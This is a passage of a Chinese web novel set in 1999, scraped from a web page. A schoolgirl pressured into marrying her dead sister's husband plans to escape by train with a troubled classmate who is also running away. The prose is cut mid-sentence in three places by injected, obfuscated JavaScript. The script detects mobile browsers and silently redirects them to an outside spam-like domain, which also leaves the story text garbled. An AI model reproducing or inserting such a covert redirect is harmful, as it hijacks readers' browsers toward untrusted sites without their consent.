砸石头的人也没真的想追,吓唬着撵了两步,扯着嗓子喊道:“孙子,爷爷就在这等你。” 闹剧结束,胜利的一方也适时地散了场,毕竟打架嘛,出力受伤都在所难免。昌灵听到他们说,改天翘课一起吃饭,易哥请。 大家都爽快地说好。 不消两分钟,巷子里就只剩下了砸石头的、木材上坐着的,以及夹缝里蹲着的昌灵三人。 眼见那两个人还没有要走的意思,昌灵丝毫不敢挪动。 “怎么着,你伤还没好?”片刻后,她听见砸石头的人询问道。 “好了。” “好了你不动手,光坐在这看热闹啊。” “你不说了让我来撑场子的吗,还需要我动手?” “还不是您老人家这段时间神龙见首不见尾的,我不这么说你能来吗你。” 对方不说话,砸石头的人又继续问:“那件事都准备好了?哪天走?” “还没买票,买了就走。” “行,早走早好,待在这也没什么意思。” 昌灵动了动冻僵的手脚,心里期盼着这两个人快些说完离开,她好赶在卫生室关门前过去,不然今晚这一趟就白来了。 “三哥,你要是走了就不会回来了吧?”砸石头的人踢了踢脚边的木板,“那咱兄弟以后不就见不着了?” 三哥? ——改天翘课一起吃饭,易哥请。 昌灵回想起这些人刚才说过的话,迟疑片刻小心翼翼地朝外探出脑袋,借着月色,她看清了木材上面坐着那人的面孔。 没错,是隔壁三班的易阁。 易阁此人,成绩好,长得也好,昌灵班里不少女生都喜欢他,饶是昌灵这种两耳不闻窗外事的人也听过不少次他的名字。 后来有一次学生表彰大会,易阁考了三班的第一名,上台领了一张奖状,昌灵因此记住了他的脸。 后来同学们对他的议论越来越多,又不好明目张胆喊人家的名字,只好暗戳戳的起外号,什么三班的那个谁,三班的‘一哥’诸如此类。又因为名字音调的缘故,叫一哥太明显,久而久之,易阁的外号就变成了人尽皆知的三哥。 昌灵抿了抿嘴,没想到好学生也会打架,真是人不可貌相。 虽然今晚他并没有动手。 易阁的声音没什么波澜,“等哪天你要是去找我,我请你吃饭。” “得了吧,你都不知道自己要去哪,我上哪找你去。” “那到时候我给你打电话。” “可别,短时间内你千万别联系我。等你走了你爸肯定来问我,我怕我一不留神说漏嘴了。” 易阁嘲讽道:“瞧你这点儿出息吧,还能干点什么。” 对方不满地啧了一声,说:“我这还有二百块钱,到时候都给你带着吧。” 易阁:“你哪来这么多钱?” “这可是兄弟这么多年的压岁钱,都资助你了,以后发达了可别忘了我。” “谢了。”易阁也没客气,“算我借你的,以后加倍还你。” “那也行。”资助人嘿嘿两声,“回吧,也不早了。” 易阁从木材上跳下来,同他一起往巷子外走。昌灵站起身跺了跺又麻又僵的双腿,忙不迭向着卫生室的方向跑。 万幸,门还开着。 昌灵喘匀了呼吸,无声掀起卫生室的厚门帘。不知道是不是在室外呆久了的缘故,里面的温度似乎比白天来时更高,只是大夫依旧不在药柜前。 她刚想上前敲敲柜台,恰好此时有人推开了卫生室的门,动静不小。 昌灵下意识回头看,对上了一双意料之外的眼睛。 是易阁。 大夫听到开门声从隔间里出来,“今天怎么这么晚……诶?” 他显然没想到这么晚还会有第三个人在,愣了一下才笑着说:“小同学是你啊,是还要买什么药吗?” 昌灵垂下眼睫没看任何人,还没等她回答大夫的话,易阁面无表情地避开了她的衣袖进到了隔间里。 大夫像是习以为常,没有管他。 昌灵犹豫片刻,很小声地说:“我想买一些……安眠药。” “安眠药?”大夫有些惊讶,“同学,你要这个干什么?” 昌灵一路上早已想好了理由,说话还算流畅,“我,高三压力很大,睡不着,我看报纸上说的,安眠药可以吃。” “同学,不是这样的。”大夫很有耐心地给她解释,“安眠药对身体不好,而且是处方药,我这种小卫生室是不可以卖的。 “你如果真的不舒服,可以去省城的大医院看一看,但以我的经验来说,他们也绝不会给你开安眠药的。” 昌灵的失望溢于言表。 大夫好心安慰道:“如果压力很大,可以听听收音机,或者跑跑步,不能依赖药物的。” 昌灵心不在焉地点点头,“谢谢您,那我先走了。” “你家远不远,这么晚了,一定注意安全啊。” 昌灵随口说不远,心中倒是希望家的距离能远一些,再远一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534999|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远到她再也回不去的天涯海角。 回去的路好似变得更荒凉。安眠药确实是在报纸上看到的,上面也详细说明了副作用,昌灵当然不是想自己吃。 如果能让家里的人多睡上几天,她是不是就能跑得远一些,不被他们抓到。 她叹了口气,好可惜,尽管带上了所有的钱,还是买不到。 ** 昌灵从窗户翻回来,把窗缝仔仔细细地塞好,随即颓废地倒在了床上。 这些年的事走马灯般在她脑海里不断播放,弟弟出生,姐姐嫁人,大哥娶妻,奶奶跋扈愚蠢,母亲不断隐忍,还有沉默的父亲——恶鬼的帮凶。 这个家里所有的一切都让昌灵难以忍受,然而她深知,离开这里,嫁去王家,不过是从一个牢笼跳入另一个包装精美的牢笼。 还有没有别的办法? 昌灵出神地望着天花板,虚实之间,霉斑、裂痕、虫类干枯的躯体,一条布满伤痕的手臂—— 她蓦地坐了起来。 先前不甚在意的蛛丝马迹此刻奇迹般的串联在了一起,受伤、高考、煎熬、逃跑。 易阁,就是白天卫生室隔间里受伤的那个人! 他也要跑! 想到这,昌灵突然失声笑了出来。还真是同人不同命,上午大夫刚告诉易阁要他熬过去,晚上就有朋友给了他二百块钱让他赶快走。 二百元,对昌灵来说可谓是天文数字了,她想都不敢想。 昌灵仰起头,努力不让眼泪掉出来,却无济于事。泪眼婆娑间,她忽然鬼使神差地想,是谁把易阁打成那样? 说不清是几点睡着的,或许是这些天她真的太累了。直到门口传来不间断的敲门声时,昌灵才再度睁开双眼。 太阳升得很高,昨夜的棉袄还好好的穿在她身上。 昌灵转了转僵硬的脖颈,慢吞吞地过去开门。 “你干嘛呢,我们在这敲半天了。” “这都几点了,你不会还没起吧?怎么这么懒啊。” 门一打开,迎面就是许久未见的两位姐姐劈头盖脸的责备声。 “大姐,二姐。”昌灵没什么精神,“你们怎么在这。” “这不是你要结婚,我和老二接到电话连夜就过来了。” 昌灵神色如常,“三姐葬礼你们都没去,我结婚怎么这么积极。” “你这是什么话。”二姐白了她一眼,“那老三葬礼是我们不想去的啊?还不是王家人说我们跟她犯克,不准我们去吗。” “他们说什么就是什么,不知道的还以为你们是他家的姐姐呢。” “老四,现在要嫁人了说话也硬气了是吧?她克的是我们,你当然能说风凉话了。” 昌灵转身回房间,不想跟她们吵架。什么样的人会担心去世的妹妹克自己?说出来竟也不觉得可笑。 “行了老四,你也不用给我们甩脸子。”大姐推开门迈进来,“我们回来是妈说的,让我们带你去做结婚的衣服。” “结婚的衣服?”昌灵难以置信地回过头,“这么早做?” 二姐上手扯着她往外走,“这还早,快十一点了。王家人早上来说日子定了,过了阳历年就上门,得在老三百日前结,过了百日不吉利。” 阳历年…… 昌灵像是一下子失去了灵魂的木偶,只剩一副空壳被二姐拖着走。 5. 1999 泥人都有三分火气,更何况昌灵。 被拖到门口之前她都没什么反应,直到看见大门对联上的‘家和万事兴’,昌灵的逆反情绪骤然达到了顶峰。 去他的万事兴! 昌灵用力挣开二姐的手,惯力使得身体倒退了两步,她稳住身型嘶吼道:“你别碰我!” 二姐猝不及防被昌灵闪了一下,顿了顿才骂道:“你有病啊!好端端的发什么疯。” 大姐也不太高兴,问:“老四,你又怎么了?” “我不去,我不嫁。”昌灵紧咬着后槽牙,话都是硬生生挤出来的。 “你不嫁?”二姐像是听了个笑话,讥笑道:“王家那样的你不嫁,你还想嫁给谁?睡傻了吧说什么疯话。” 昌灵:“你要是觉得王家那么好,不如回去就跟二姐夫离婚,转头去嫁给他好了。” “你……” “正好他二婚,你也二婚,多般配。” “死丫头你找打是不是!” 二姐说着就要扑上来打人,被大姐挡在中间拦了一下。大姐两边用力各推了一下,拧着眉说,“吵什么吵,你俩想干嘛!” “大姐,你听她说的是人话吗!”老二这一嗓子穿透力极强,昌家人听到院子里的动静,纷纷从屋子里出来看。 昌灵余光扫了一眼,人都齐了,大嫂站得最远。 昌母走到姐妹三人身旁,“让你们带老四去做衣服,在这吵什么。” “妈,那也得老四把我当人才行啊。”二姐立马哭诉道,“我这大老远回来一趟,还得被这个死丫头骂,我这不纯犯贱吗。 “这家里的事以后你可别找我了!” 二姐说完气冲冲往外走,昌母看着她的背影,半晌后问昌灵:“你怎么回事,把你姐气成这样。” 昌灵心中冷笑,嘴上淡淡地说:“妈,我不结婚,更不要嫁给三姐夫。” 昌母闻言左右看看,远处的人大概没听清昌灵说什么,她想了想低声问:“你哪里不满意,我们之前不都说好了吗?” “谁跟你们说好了?” 昌灵猛地转过身体,面对着父亲、奶奶,厉声道:“我不结婚!我要上学!我不结婚!” 院子里鸦雀无声。 片刻后,正屋门前的老太太斜睨着她,最先发话,“我和你爸还没死呢,这个家还轮不到你一个丫头片子做主。” 多可笑。 昌灵不想跟她对话,只把视线转到父亲身上。 昌父木讷地寻思了一会儿,才说:“老四,你别闹了啊。” ——意料之中的回答。 “爸。”昌灵朝着他的方向挪动了几步,“你不觉得自己活得特别失败吗?” 昌父:“……” 他的回答已经不重要了,昌灵原本今天就没打算放过他,她冷声道: “其实这么多年在我心里,最可怜的就是你。有个这样的家,这样的妈,一把年纪还唯唯诺诺只听你妈的话,连自己的老婆、孩子都保护不了,你还算是个男人吗? “拿着卖几个女儿的钱给你儿子娶媳妇的时候心里一定很开心吧?不然你也不会默认你这个恶心的妈继续这么干,连你十几岁的女儿都不放过。 “我倒想问问你,我是你的女儿吗?昌俪是你的女儿吗?!——” 夹杂着不甘与痛苦的控诉戛然而止。 昌灵从没说过这么多话,只可惜后面的话有人不想听她继续说完。眼前这位始终不言语的父亲,面对着小女儿的声嘶力竭,只化作重重的一巴掌甩在她的脸上。 昌灵眼前的事物突然由父亲狰狞的脸变成了地面上的碎石,耳边的哭喊声和口中的血腥味是同时出现的。 后面的事情一片混乱,在奶奶的高声咒骂里,有人拦着父亲的腰,有人捏着她的肩膀。待到昌灵回过神,人已经坐在了房间的凳子上,她摸摸自己眼下的皮肤,干的。 这才想起来,刚才的哭喊声是她被吓坏的弟弟发出的,并不是自己。 昌灵呆呆地想,还好她没哭,不然就太丢人了。 外面是锁门堵窗的细碎嘈杂声。 这些人把她关起来了。 ** 咚咚咚。 两三个小时后,外面有人敲了敲她的窗框。 昌灵半边脸涨得发麻,沉默着走过去推了推窗——推不动。他们用放鞭炮的长竹竿穿过窗把手,死死别在了墙上。 “四姐,是我。”弟弟偷偷摸摸的声音从窗台下传来。 昌灵叹了口气,把堵窗缝的纸拆出来,勉强推开二指宽的缝隙,刚好露出弟弟的眼睛。 “你怎么来了?”她问。 “咱俩不是说好了吗,你给我糖吃。” 吓哭了也能这么快若无其事来要糖,可见刚才有不少人安慰过他。 昌灵低头从书包里翻出来两块糖,还是上个星期同学给她的。递糖的手距离窗缝还有一段距离时,昌灵停了下来,对弟弟说:“外面那个杆子你能不能够到?” 弟弟:“够不到,奶奶不让我动。快把糖给我呀。” “他们知道你来找我?” “不知道不知道。” 童声天真,听不出来真假。 昌灵掂了掂手里的糖,不管了,死马当作活马医吧。她微微俯下身子,离弟弟近了些,小声说:“这两块可以都给你,不过你还要帮我一个忙。” 弟弟不情不愿:“啊……又要干什么?” “你去跟嫂子说,我想见见她。”这个家里,大概就剩大嫂还能跟她好好说会儿话。 弟弟:“然后呢?” “然后没你的事了,大嫂过来之后,我会让她把糖带给你。” “真的?” “真的。”昌灵说,“但你悄悄的,别让大哥他们听见。” 听起来很简单,弟弟迈着小碎步乐颠颠往家跑。 昌灵关好窗户,坐在桌前照了照镜子,半边脸加嘴唇已经肿了起来。 可见确实戳到父亲的痛处了。 她扯了扯嘴角。 大嫂是晚饭的点过来的,还给昌灵端了一碗粥。 “趁热喝了吧,一天不吃饭身体怎么受得了。”她凑近了昌灵的脸瞧,“真看不出来,爸居然下手这么狠。” 昌灵吹了吹粥,没说话。 大嫂在她床边坐下,“你今天太冒失了,闹这么一出有什么用,还白白挨打。” “那我怎么办,一哭二闹都不顶用,要我上/吊吗?” 大嫂叹息道:“那也未必有用。” 说完她从口袋里拿出来一块用塑料袋包好的浸湿的小手帕,“你把这个放窗上冰一会儿,敷在脸上。” 昌灵盯着手帕,片刻后说:“嫂子,你能帮我逃出去吗?” “……我没那本事。” 昌灵的视线落在她身上。 大嫂:“你别指望我,我要是放你走,你猜我以后还能有好日子过吗。” 也是,人是应该先顾着自己的。 “你要是真想跑,也只能靠你自己。”大嫂说。 昌灵半阖着眼,“我被关在这里,还能有什么办法。” “你答应他们,不就能出去了吗。” “答应?” 大嫂一脸认真地看着她。 ——是啊。 昌灵醍醐灌顶,只要能出去,大不了先假意答应。反正距离阳历年还有六天,她可以再想想别的办法。 大嫂见她似乎想明白了,也不多逗留,起身收拾了碗筷,“我回去跟他们说你答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535000|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会好好考虑,明天让奶奶过来跟你说话。她要是说话难听,你也忍一忍。” 昌灵点点头说知道了。 “还有你这个脸。”大嫂捏着她的下巴看了一眼,“如果明天不消肿,你还是去找易大夫看看吧,开点药,都淤血了。” 昌灵闻言蓦地抬起头,“卫生室那个大夫,他姓易吗?” “是啊,容易的易。” ** 周一上午,昌灵的名字在易阁耳边反复出现了无数次。学校里都传开了,隔壁班的一位女生,据说是要嫁给自己的姐夫。 易阁不认识,但不妨碍他觉得好笑。 “诶,三哥。”同桌猛地拍在他的右臂上,“一会儿打球去啊。” 易阁的闷哼卡在喉咙里,片刻后说:“不去,我要做题。” “唉,咱们男人就是不容易,还得努力学习找工作才能娶上老婆。不像她们女生,直接嫁到有钱人家就行了,学都不用上。” 易阁懒得跟他聊这些,没有接话。倒是前桌的男生回头附和道:“就是说啊,那昌灵命多好啊,她姐享不了的福,她年纪轻轻就享上了。” “但那男的年纪也够大的啊,也不知道床上行不行。” 话毕周围几个男生立马露出心知肚明的暧昧笑容。 易阁听着烦,“要聊这些滚出去聊,别打扰我做题。” “得得三哥,您写,我们打球去。” 放学回卫生室的路上,易阁察觉出后面有人跟着自己,心想难道是之前那帮人来寻仇? 他提提嘴角转身往死胡同里拐,听脚步人不多,他自己能应付。 身后那人始终跟他保持着不远不近的距离,一直到胡同深处。 易阁扔下书包,盯着拐角处漏出的那片衣角,“出来,偷偷摸摸像什么男人。” 衣角嗖地收了回去。 易阁目光渐冷,“滚出来。” 半晌,一个身影慢慢从墙角后往外挪。 易阁眯了眯眼,好像不是个男人。 “你是谁?跟着我干什么?”他往前走了两步,看清这个人的脸之前,先看到了她嘴唇上黑紫的淤血。 这是被人打的。 “说话。”易阁拧着眉抬眸往上看,这是一张完全陌生的脸。 女孩抿了抿唇角又很快松开,像是很痛。易阁听见她说:“我们之前见过,在卫生室。” “不记得了,跟着我干什么。” “卫生室的大夫是你爸,对吧。” 易阁皱眉:“关你什么事。” 女孩攥了攥拳头,“你胳膊上的伤应该还没好吧?你爸让你熬,说明打你的是你家里人吧?” 易阁眼神一凛,抬手扯过她的衣领,“你什么意思。” 女孩没有反抗,只垂眸看着他的手腕,声音很轻:“打人还要用左手,想来是右手还没好了。” “你到底想干什么?” “我知道你要逃跑,应该是瞒着你家里人的吧。”女孩语速很快,“如果你不想你爸知道这件事,就帮我一个忙。” 帮忙? 易阁沉吟片刻松开她衣领,女孩随即偏过头呼吸了两口新鲜空气。他眉头紧锁:“什么忙?” “你去买火车票的时候,替我也买一张,我知道你有钱。” “是吗?”他退后两步和女孩拉开距离,上下仔细扫了一圈,身高不高,年纪相仿,面色苍白。 易阁问:“去哪的票?” “去哪都行,越远越好。” “越远票越贵。” “我知道。” “那我的事你从哪知道的?你是什么人?” 女孩揪着衣角,做了一个迟来的自我介绍: “我叫昌灵,和你同一个学校。” 6. 1999 1999年12月29日,距离千禧年还有六十五小时。 - 昌灵洗干净碗,在抹布上擦了擦手,“嫂子,我去学校了。” 大嫂往厨房外看了一眼,悄声说:“奶奶同意你去上学,你就真的每天只去上学啊?不跑了?” 昌灵抿嘴,只说:“我先走了,一会儿该迟到了。” “那行,路上慢点啊。” 说实话,昌灵自己也不知道这样到底行不行得通。姑且相信易阁会给她买票,可要怎么去火车站,昌灵还是没有头绪。 奶奶能答应她去上学的要求之一,就是一切外出报备,早晚按时回家。如果她没有交通工具,就用两条腿跑,恐怕还没出去多远就要被家里人抓回来。 机会只有一次,必须想一个万无一失的法子。 好冷。 昌灵皱皱鼻子,从袖子里伸出半截手,拔开大门的插销,开门的穿堂风吹得她眯了眯眼睛。 “灵灵,这么早要去哪啊。” 突如其来的声音吓得昌灵一愣,待看清来人,她迈步的脚堪堪踩在门槛上,“你……” 昌灵看着眼前这位‘未婚夫’,想说你怎么在这,话未出口却又咽了回去。 是啊,还能为什么呢。 反观喜气洋洋搓着手的王家老二,和她的怔愣与惊慌不同,三两步来到昌灵面前,咧着嘴:“怎么不说话,家里人都起来了吧?”说着推开眼前只开了半扇的门,“爸妈、奶奶,我来了。” “诶,小王来啦。”昌母在偏房洗衣服,听见声音连忙在身上擦干了手迎出来,“怎么一大清早就来了,吃饭没有?” “哎呦,来这么早。”老太太捧着茶缸站在正屋门口,“是有什么事啊?” “哎奶奶,我正好今天有空,来接灵灵去置办点结婚要用的东西。” “老四?”老太太扭着干瘪的身体朝房间里喊,“老四,赶紧出来。” “妈。”昌母叫了她一声,指指王家老二身后的昌灵,“老四在这儿呢。” “……你不声不响杵在那干什么。”老太太不明显地白了她一眼,说:“你叫人了没有啊,跟个哑巴似的。” 昌灵还是不说话。 王家老二回头看她,片刻后摆摆手,“哎呀都是一家人,没那么多讲究。” 昌母勉强笑笑:“小孩儿不懂事。” 昌灵闻言也没什么情绪,只往前迈了一步,无波无澜地叫人: “三姐夫。” 王家老二:“……” 昌母、老太太:“……” 昌灵继续说:“三姐夫,买东西改天再说吧,我还得去上学。” “呃……那、那我送你去吧,你是在西乡中学上学吧,这个天儿走过去多冷啊。” 昌灵:“不用了。” “别不用啊,客气什么。”王家老二回过神来,认真推销自己,“我开车来的,舒服着呢,保管不冷。” 开车?昌灵往门外扫了一眼,片刻后说:“那麻烦你了。” “不麻烦不麻烦。”王家老二说着就要往车边跑,跳过门槛还不忘跟里面的人打招呼,“妈、奶奶,我先走了啊。” “慢点啊。”昌母叮嘱道。 昌灵冷眼瞧着这人殷勤地替她开车门,一言不发地坐了进去。 车子开出去没多远,王家老二主动跟她搭话道: “怎么样灵灵,坐车不冷吧。” “不冷。”昌灵盯着雨刷上夹着的枯树叶,淡淡地说,“上次坐你的车,还是你和三姐结婚的时候。” “……” 昌灵又问:“三姐夫,那你二婚的时候还买新车吗?” “这……”王家老二面露尴尬,“要不你别叫我三姐夫了吧,多奇怪啊。” “可你不就是我三姐夫吗,有什么奇怪的。” “……要不你就叫我德富哥?我叫王德富。” 原来叫王德富啊,多荒谬,这还是昌灵第一次听到他的名字。又过了好半晌,昌灵才说:“我还不知道你是干什么的。” 王德富一听这话来了精神,嘿嘿一笑:“我常年下海,卖点小鱼小虾,挣点儿小钱。家里还有个大哥,父母都是大哥家里在照顾,你要是以后不想管,我就还是给他们点钱,不用你操心。” 他说完之后一直偷瞄昌灵的反应。 这条件放在西乡确实不错,但昌灵觉得膈应。她点点头,说:“怪不得闻到一股鱼腥味儿。” 王德富:“……” 后面的路程都是王德富在说,昌灵偶尔嗯一声,开车的速度比她往常走路快得多,到达西乡中学时门口还没有多少学生。 “谢谢,我先走了。”昌灵转身去开车门,被王德富眼疾手快上了锁。 她微微蹙眉,“你这是干什么?” “这不还没到点吗。”王德富说,“咱俩说会儿话。” 昌灵:“你想说什么?” “我刚才想了想,离阳历年也没几天了,该买的东西还是得尽快买。要不我去跟你爸妈说,你这个学就别上了,在家准备准备。”他语气里隐隐带着威胁。 昌灵的手指紧紧绞着背包的带子,王德富如果去跟她家里人说不要她上学,那今后再想出门可谓是难如登天。 王德富:“说实在的,我就没上过几天学,这不照样过得不错嘛,读那么多书没啥用的,你说呢。” 昌灵想了想,只好答应前者。她声音很低:“买东西用不了多长时间吧,要不然你等我放学。” “放学太晚了吧?” “三点吧,我请假。” “好吧。”王德富目的达成这才给她开了锁,下车前他态度暧昧地说,“那我下午提前过来接你,一起去买咱们结婚用的新衣服新床单。” 昌灵垂眸,恨不得立刻捂上自己的耳朵。 ** 教室里只零零散散坐了几个人,但同桌来得比昌灵更早。 眼看着昌灵坐下,她凑近说:“今天早上谁送你来的?” 昌灵眼珠轻颤,“你怎么问这个。” “我看见那辆车了,不会是你对象吧?” “不是。” “不是他是谁?我听她们说你对象家里很有钱啊?” “……” 没等昌灵继续否认她的话,门口咋咋唬唬进来几个男生,不是昌灵班的。一时间在座所有人的视线都被他们吸引过去。 “同学们,同学们,来来听我说,我们是三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535001|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的,来这儿是有个好消息告诉大家。” 有人出声询问:“什么好消息?” “三十一号晚上十二点,镇上会组织放烟花,我们班人都要去,有没有人想跟我们一起?” “放烟花?” “土老帽儿,这都没听说?男生自己骑自行车啊,女生长得漂亮的我可以带。” “王亮。”同桌认识领头说话的人,扬声问道:“你的自行车到底可以带多少女孩儿啊?” “你懂什么,反正我不带你。” “切,谁要你带。”同桌翻了个白眼,又问,“那你们班三哥去不去啊?” 昌灵一怔,悄悄竖起了耳朵。 “三哥要陪女朋友吧,怎么可能跟我们一起。” 易阁有女朋友? “女朋友?”同桌显然也很吃惊,“什么女朋友?三哥哪来的女朋友?” “三哥不想说,但我们都知道了。” “什么意思呀?你把话说清楚。” 男生放低了声音,神神秘秘地说:“三哥手腕上系了个蝴蝶结,一看就是女孩系的。你想啊,谁能给三哥系?不就是他女朋友了。” 昌灵:“……” 你们是只认识蝴蝶结,不认识绷带吗? “啊——”等那些人走后,同桌一屁股坐在凳子上,失魂落魄地说,“昌灵,你说什么样的女孩能给三哥当女朋友啊。” 昌灵说不知道,暗地里想,大概是个系蝴蝶结很漂亮的女孩吧。 ** 易阁翘了下午的两节课,准备去火车站买票。离开教室前又被班里的人起哄说是不是要去陪女朋友,易阁没否认。 他们提供了绝佳的理由,自己没道理不用。 这事说起来其实有些无奈,昨天下午昌灵来找他的时候他没认真涂药酒,晚上想着重新涂一下,图省事,就没解开绷带,直接完整撸了下来。哪知道绷带没弹力,涂完药酒最后一圈套不回去了。易阁也没多费心思,随手塞进了袖子里。 结果晚自习的时候就有一些不学习又眼尖的,像发现了什么惊天大秘密,围着他的胳膊夸张地大喊大叫。 在一众吱哇乱叫里,易阁忽地想起了一张毫无生气又苍白的脸,以至于错过了最佳否认时机。 不过他很快发现,这个‘错过’简直帮了自己一个大忙。集体活动都不需要他找借口推脱,这群人自动脑补出了一场大戏。 易阁从角落的围墙翻出来,蹬上一早放在这里的自行车,刚骑了两米,就听见身后校门口突兀的喇叭声。 他下意识回头看了一眼,正巧看见站在车门前面无表情的昌灵。 以及给她开车门的头发都没两根儿的矮胖子。 这就是昌灵要嫁的那个人? 不知道出于什么心态,易阁停在原地没走。他眯了下眼睛,心道昌家那些人可真不是个东西。 昌灵似乎对落在自己身上的视线有所察觉,坐进车里前,朝他所在的方向望了一眼。 只一眼。 易阁不自觉地皱皱眉,目送着那辆车开走。等他重新骑车上路时,脑海里昌灵方才的眼神却挥之不去。 像是深山湖畔日落前的最后一场雨。 昏暗又潮湿。 7. 1999 兴许是临近新年的缘故,火车站来来往往的人不算少,买票窗口前的队伍也排得很长。 易阁对着黑板上每个站点的价格仔细看,三十一号晚上的车次,最远的终点站是雁山站,八十三元。 这么贵。 他低头从衣服内侧口袋里摸出来一小摞钱点了点,将将够买两张。 又忍不住想,有必要给昌灵也买这么贵的吗? 易阁拧着眉把钱塞回口袋里,这个人真是个大麻烦。先不说如果不给她买票,她就要把自己的事拿出来瞎嚷嚷,就算给她买了,万一她那天不能准时来车站怎么办?钱岂不是白白打水漂。 他反复纠结了很久,直到站到了队伍最前方。 售票窗口的窗户很小,易阁不得不稍微弯下腰,他很有礼貌:“你好。” “您好,请问需要到哪里的车票?” 易阁想了想,问道:“这个票还可以退吗?” “距离发车时间四十八小时内都可以退的。” 那也就是说,如果昌灵来不了,他连退票也不行。 售票员:“您好?请问需要购买到哪里的票呢?” “雁山。” “好的,请问是哪一天?” “三十一号晚上八点四十那班,要……一张。” “硬座的价格是八十二元,外加一元的票费,总共八十三元整。” “好。”易阁顿了顿,又说,“再要一张四十块钱左右的吧,同一车次。” “这班车到荣田站是四十一元,您需要吗?” 他不知道荣田是哪,但对昌灵来说应该也够用了吧。 “就这吧,一共多少钱?” “一百二十四元整。” “给。” 易阁接过两张车票小心地放在口袋里,旋身从人群中挤出来,找零的一元硬币被他捏在手指之间。公示价格的黑板写得密密麻麻,易阁回头看了一眼,荣田也够远了,自己对昌灵也算是仁至义尽。 从车站出来时天还未黑,易阁拢了拢外套朝着自行车的方向走,迎面而来的一家三口背着大包小包,脚步匆匆。擦肩而过时,弓着腰的大叔没走稳崴了一下脚,不偏不倚撞在易阁胳膊上。 “嘶。”突如其来的撞击痛得他低吟出声。 “哎呀,没事吧没事吧?”大叔狼狈地放下编织袋,也顾不上自己的脚,连忙朝易阁伸出手,“真不好意思啊小伙子,我这没看见路,撞哪儿了?有没有事啊?” 易阁迅速后退一步,躲过了想要触碰他的那只,粗糙干裂的手,“我没事,你以后走路小心点。” “对不起啊,小伙子。”大叔尴尬地收回自己的手掌,“我走路太着急了。” 如果不是自己身上有伤,被这些东西撞一下也不会有什么大碍。易阁摆摆左手,“你们要赶火车吧,快进去吧。” “小兄弟,你胳膊真的没事吗?还能抬起来吗?”大姐局促地攥着手指,一脸担忧,“他这袋子东西太重了,如果有什么问题你就说,我们赔的,我们赔。” 大叔连连点头:“是,是。” 易阁叹气,怎么这两口子都这么老实,也不怕被他赖上。 “我真没事,倒是你的脚,赶火车的时候轻点跑,别伤着了。” “脚没事,我们今晚上住在这,不跑。” 住在火车站? 易阁扫了一眼这两口子,带着一个五六岁的小孩,正怯生生地抱着大人的腿,见他低头打量自己,小孩急忙往母亲身后躲了躲。 大姐摸摸她的头,不好意思地对易阁说:“小女孩怕黑,也怕生。” 易阁微微颔首,都不容易,“进去吧,外面冷。” 两个人又是道歉又是道谢,直到易阁出去好远,他们的声音才渐渐消失在冷风里。 易阁单手扶着车把手,脚上用力往回蹬。 胳膊是真疼。 ** 卫生室周围都是窄巷,不论什么样的四轮车停在这里都很突兀。 易阁眯了下眼,这车似乎有些眼熟,路过车窗时他刻意放慢了速度。 车窗玻璃擦得锃亮,里面的光景一览无余,果然是下午那个胖子。只不过这人不像下午接昌灵时那么有礼貌,现下他正挪着自己蠢笨的身体往副驾驶那边蠕动。 昌灵那个人,挣扎起来也是没有声音的。 易阁单脚撑地,面无表情地敲了敲车窗。 “谁啊。”胖子不耐烦地扭过头,“你谁啊?” 易阁随手摸出防身的小刀,用刀尖点了点玻璃。 胖子身躯一震,片刻后狰笑着推开车门,“怎么着,你一个毛头小子还想划我车?” 此时昌灵才缓缓抬起头。余光里,易阁看不出她有什么情绪,只能看见通红的眼眶。 这人…… 胖子捣了他一下,“说话啊。” 只见昌灵动作迅速地打开自己那一侧的车门,头也不回地往巷子里跑。 ……跑得还挺快。 “诶?灵灵!”胖子听见关门声回头看,腿比脑子快,刚想拔腿就追,又看见面前的易阁,恼怒道:“快点滚,我没空搭理你们这些小流氓。” 说罢他匆忙上车,但巷子是开不进去的,易阁对观看热锅上的蚂蚁没兴趣,掉转车头往卫生室骑。 昌灵应该是往这个方向跑的。 ** “哭什么。” 昌灵躲在上次易阁坐过的木材背后,脸埋在袖子里,尽力不让啜泣声扩散出去。 但这个人还是听到了。 “你威胁我的时候胆子不是挺大的吗。”他继续说。 昌灵不想抬头,易阁也没真心跟她计较。片刻后,昌灵察觉到不远处衣物摩擦的细微声响,猜想是易阁也蹲了下来。 不知道过了多久,昌灵的腿都有些发麻,但易阁始终不说话,这让她有一种微妙的不适感。 怎么也是个闷葫芦。 昌灵想了想,声音很小:“刚才谢谢你。” “不客气,我学雷锋做好人。”易阁接得很快,“倒是你,为什么在这?” 昌灵沉默了良久,才说:“不想回家,也没地方可以去,想着骗他说过来买药。” “是吗?”易阁不信。 